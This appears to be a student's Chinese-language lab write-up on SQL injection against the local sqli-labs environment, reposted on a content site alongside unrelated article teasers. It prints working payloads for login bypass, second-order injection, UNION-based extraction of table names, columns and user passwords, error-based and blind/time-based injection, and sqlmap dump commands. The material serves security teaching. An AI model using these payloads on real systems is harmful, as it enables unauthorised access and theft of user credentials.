SQL注入作业

目录

一、万能密码和二阶注入测试

1.万能密码

2.二阶注入测试

二、联合查询注入测试

1.判断注入点

2.判断当前查询语句的列数

3.查询数据库基本信息

4.查询数据库中的数据

三、报错注入

1. 报错注入函数EXTRATVALUE 

2.UPDATEXML

 四、盲注测试

1.布尔盲注

判断数据库名字长度

猜解数据库名

获取表的个数

获取第一个表名的长度

获取第一个表名

获取列的个数

获取列的长度

获取列名的第一个字母

2.延时盲注

五、sqlmap


一、万能密码和二阶注入测试

1.万能密码

        万能密码是指输入一个特殊用户名,密码不限,来破解账号,入侵sql。比如8’ or 1=1 # ,这是一个用户名,这个输入会发生什么?

         为什么可以直接登录成功呢?我们来看看这个登录网页的数据库代码实现:

@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

        而我们的输入其实是

$name  = 8' or 3=3#

        替换后

…… username='8' or 3=3 #' and password='$passwd' LIMIT 0,1";

        此时,username为8 ,根据or的运算,3=3是永真式,#将后半句注释了,故这句代码执行结果永远为真,可以登录成功。

        当然,现在的数据库对这样的用户名肯定做了筛选,这属于不合法的用户名。

2.二阶注入测试

        所谓的二阶注入,利用的是,数据库系统对已有信息的“信任”,将注入的用户名输入到系统后,利用这种信任,登录到数据库其他用户,比如admin'#成功注册后,但是登录的却是admin

        注册admin'#账号

        如图,现在数据库里面有:

        admin'# 密码是123456

        admin 密码是000000

        我们现在登录我们自己注册的账号:

         我们登录后修改密码,修改密码为999999

        此时我们来登录试试:

         为什么密码错误呢?我们来观察一下数据库:

        可以观察到我们修改的是admin的密码,而不是admin'#的数据。

        实际上这个过程是,admin'# 作为用户名登录后,数据库对该用户名,密码信任,实际上这个用户名被代码替换后,登录的不是admin'# ,而是admin。修改的是admin的密码,这就是二阶注入的原理。

二、联合查询注入测试

1.判断注入点

判断是不是整型:

比如 1 and 1=1 

 

 没有显示结果,说明这不是整型。

而输入1' or '1'='1

说明这是字符型注入。

2.判断当前查询语句的列数

猜测是3列:

猜测是两列:

 

3列没有结果,2列有结果,说明当前查询语句有两列。

3.查询数据库基本信息

admin' union select user() ,database()#

需要对union强调的是,union前后的结果列数必须一样,比如这里admin'结果是两列,union的语句2必须也是两列。 

4.查询数据库中的数据

获取表名

admin' union select 1,table_name from information_schema.tables where table_schema = database() # 

获取数段名

admin' union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users' and table_schema = database() #

获取数据

admin' union select username,password from users #

三、报错注入

1. 报错注入函数EXTRATVALUE 

admin' union  select extractvalue(1,concat(0x7e, (select database()),0x7e)) #

2.UPDATEXML

 admin' union  select updatexml(1,concat(0x7e,(select version()),0x7e),1)#

 四、盲注测试

1.布尔盲注

判断数据库名字长度

无回显

有回显

说明可能为8,进行验证:

猜解数据库名

 无回显,再尝试是否大于110

有回显,再尝试是否大于115

无回显,再尝试是否大于113

有回显,再尝试是否大于114

有回显,说明可能是115

查询ascii表,说明该数据库名首字母为's'

获取表的个数

无回显,说明个数小于4

获取第一个表名的长度

无回显

有回显,说明值为6

获取第一个表名

 ?id=1' and ascii((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))) > 110 #

无回显,猜测是否大于100

有回显,猜测是否大于105

无回显,猜测是否大于103

无回显,猜测是否大于102

无回显,猜测是否等于101

查ascii表,表名第一个字母为'e'

获取列的个数

?id=1' and (select count(column_name) from information_schema.columns where table_name='users' ) > 11 #

有31个列

获取列的长度

 ?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1)) > 5 #

第一列的长度为7

获取列名的第一个字母

?id=1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 0,1),1,1))>110 # 

得到ascii为117,’u'

2.延时盲注

?id=1' and if((length(database()))=8,sleep(4),null)) #

说明数据库名长度为8

?id=1' and if(substr(database(),1,1)='s',sleep(4),null) #

说明第一个字母是's'

五、sqlmap

 python sqlmap.py -u 127.0.0.1/sqli-labs/Less-8/?id=1 

 --current-db

-D --tables

 

-T --columns

 

-C --dump

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/559277.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

16.4 冒泡排序

题目简介 排序动画模拟网站 phttps://www.cs.usfca.edugalles/visualization/ComparisonSort.htm 简洁版 #include <stdio.h> int main() {int a[10]{9,3,6,5,8,2,4,1,7,0};int n sizeof(a)/sizeof(int);int temp 0;for(int j0;j<n-1;j){ //外层循环循环9轮即可f…

Scala 第一篇 基础篇

Scala 第一篇 基础篇 一、变量与常量 1、变量2、常量 二、数据类型 1、数据基本类型概览2、元组的声明与使用3、Range介绍和使用4、Option 类型的使用和设计5、类型别名 三、运算符四、程序逻辑 1、一切都是表达式2、分支语句3、循环语句 五、集合 1、List2、Set3、Map4、Arra…

【大语言模型+Lora微调】10条对话微调Qwen-7B-Chat并进行推理 (聊天助手)

代码&#xff1a;https://github.com/QwenLM/Qwen/tree/main 国内源安装说明&#xff1a;https://modelscope.cn/models/qwen/Qwen-7B-Chat/summary 通义千问&#xff1a;https://tongyi.aliyun.com/qianwen 一、环境搭建 下载源码 git clone https://github.com/QwenLM/Qwen…

【python】如何通过python来发邮件,各种发邮件方式详细解析

✨✨ 欢迎大家来到景天科技苑✨✨ &#x1f388;&#x1f388; 养成好习惯&#xff0c;先赞后看哦~&#x1f388;&#x1f388; &#x1f3c6; 作者简介&#xff1a;景天科技苑 &#x1f3c6;《头衔》&#xff1a;大厂架构师&#xff0c;华为云开发者社区专家博主&#xff0c;…

27 管道

概念 管道式Unix中最古老的进程间通信的形式 把从一个进程连接到另一个进程的一个数据流称为一个“管道” 原理 task_struct中保存了一个files的结构体数组&#xff0c;里面存储了所有打开文件的编号&#xff0c;新打开一个文件&#xff0c;数据会写入到文件对应的 缓冲区中去…

程序,进程,进程管理的相关命令

程序 程序是执行特定任务的代码 1.是一组计算机能识别和执行的指令&#xff0c;运行于电子计算机上&#xff0c;满足人们某种需求的信息化工具 2.用于描述进程要完成的功能&#xff0c;是控制进程执行的指令集 进程的状态 为了对进程进行管理&#xff0c;操作系统首先定义…

上位机图像处理和嵌入式模块部署(树莓派4b实现xmlrpc通信)

【 声明&#xff1a;版权所有&#xff0c;欢迎转载&#xff0c;请勿用于商业用途。 联系信箱&#xff1a;feixiaoxing 163.com】 前面&#xff0c;我们也用纯API实现过上位机和开发板之间的通信。当时使用的方法&#xff0c;就是用windows自带的网络sdk和linux自带的api函数来完…

rc_visard 3D Stereo Senso

1 简介 rc_visard 3D立体视觉传感器 支持的接口标准 GenICam Generic Interface for CamerasGigE Gigabit Ethernet 词汇表 SGM semi-global matching 半全局匹配 SLAM Simultaneous Localization and Mapping 即时定位与地图构建 2 安全 3 硬件规格 坐标系 rc_visar…

linux信号相关概念

signal 信号引入什么是信号&#xff1f;如何产生信号&#xff1f;通过按键产生信号调用系统函数向进程发信号系统调用函数发送信号的流程: 由软件条件产生信号软件发送信号的流程&#xff1a; 硬件异常产生信号硬件异常的流程&#xff1a; Deliver、Pending、Block概念信号在内…

【Ne4j图数据库入门笔记1】图形数据建模初识

1.1 图形建模指南 图形数据建模是用户将任意域描述为节点的连接图以及与属性和标签关系的过程。Neo4j 图数据模型旨在以 Cypher 查询的形式回答问题&#xff0c;并通过组织图数据库的数据结构来解决业务和技术问题。 1.1.1 图形数据模型介绍 图形数据模型通常被称为对白板友…

明文scheme拉起此小程序

微信开发文档说明&#xff1a;https://developers.weixin.qq.com/miniprogram/dev/framework/open-ability/url-scheme.html 1、开发者无需调用平台接口&#xff0c;在MP平台->设置->隐私与安全->明文Scheme拉起此小程序声明后&#xff0c;可自行根据如下格式拼接app…

【静态分析】软件分析课程实验A1-活跃变量分析和迭代求解器

1 作业导览 为 Java 实现一个活跃变量分析&#xff08;Live Variable Analysis&#xff09;。实现一个通用的迭代求解器&#xff08;Iterative Solver&#xff09;&#xff0c;用于求解数据流分析问题&#xff0c;也就是本次作业中的活跃变量分析。 Live Variable Analysis 详…

facenet人脸检测+人脸识别+性别识别+表情识别+年龄识别的C++部署

文章目录 一. 人脸检测二.人脸识别facenet2.1 训练人脸识别模型2.2 导出ONNX2.3 测试 三.人脸属性&#xff08;性别、年龄、表情、是否戴口罩&#xff09;3.1 训练3.2 导出ONNX3.3 测试 四. 集成应用五、Jetson 部署5.1 NX5.2 NANO 一. 人脸检测 代码位置&#xff1a;1.detect …

深入理解数据结构第五弹——排序(2)——快速排序

排序&#xff08;1&#xff09;&#xff1a;深入了解数据结构第四弹——排序&#xff08;1&#xff09;——插入排序和希尔排序-CSDN博客 前言&#xff1a; 在前面我们已经讲过了几种排序方式&#xff0c;他们的效率有快有慢&#xff0c;今天我们来学习一种非常高效的排序方式…

【windows-搭建Ubuntu22LTS】

一、环境要求 1. windows版本要求 至少Windows 10 2020年5月(2004) 版, Windows 10 2019年5月(1903) 版&#xff0c;或者 Windows 10 2019年11月(1909) 版 2. 控制面板开启相关的程序(需要重启) 二、Microsoft store安装unbuntu 下载后直接运行&#xff08;稍微等会&#…

Linux软件安装和部署Java代码

文章目录 1.软件安装1.1.软件安装方式1.2.常用软件安装1.2.1 安装jdk1.2.2 安装Tomcat1.2.3 安装MySQL1.2.4 安装lrzsz 2.项目部署2.1.手工部署项目2.2 通过Shell脚本自动部署项目 1.软件安装 1.1.软件安装方式 &#xff08;1&#xff09;二进制发布包安装&#xff1a; 软件已…

基于SSM的学校在线考试系统的设计与实现

功能需求 管理员模块 管理员模块是整个学校在线考试系统中最为重要的管理者&#xff0c;能够对网站内的各种信息进行管理&#xff0c;能够对教师、学生的个人资料进行管理&#xff0c;对于已经离校的学生将其剔除考试名单&#xff0c;将新入校的学生纳入到考试名单中。对于入…

用 element ui 实现季度选择器

由于在数据项目中经常以各种时间条件查询数据&#xff0c;所以时间选择器&#xff08;DatePicker&#xff09;组件是很常用的组件。但是在我使用的 Element UI 中&#xff0c;缺少了季度选择器的功能。 简易实现 一开始我根据时间范围使用 select 去遍历,如 2024-Q1、2023-Q4…

win/mac达芬奇19下载:DaVinci Resolve Studio 19

DaVinci Resolve Studio 19 是一款功能强大的视频编辑和调色软件&#xff0c;广泛应用于电影、电视和网络节目的后期制作。这款软件不仅提供了专业的剪辑、调色和音频处理工具&#xff0c;还引入了全新的DaVinci Neural Engine AI工具&#xff0c;对100多项功能进行了大规模升级…

美化博客文章(持续更新)

&#x1f381;个人主页&#xff1a;我们的五年 &#x1f50d;系列专栏&#xff1a;游戏实现&#xff1a;贪吃蛇​​​​​​ &#x1f337;追光的人&#xff0c;终会万丈光芒 前言&#xff1a; 该文提供我的一些文章设计的一些方法 目录 1.应用超链接 1.应用超链接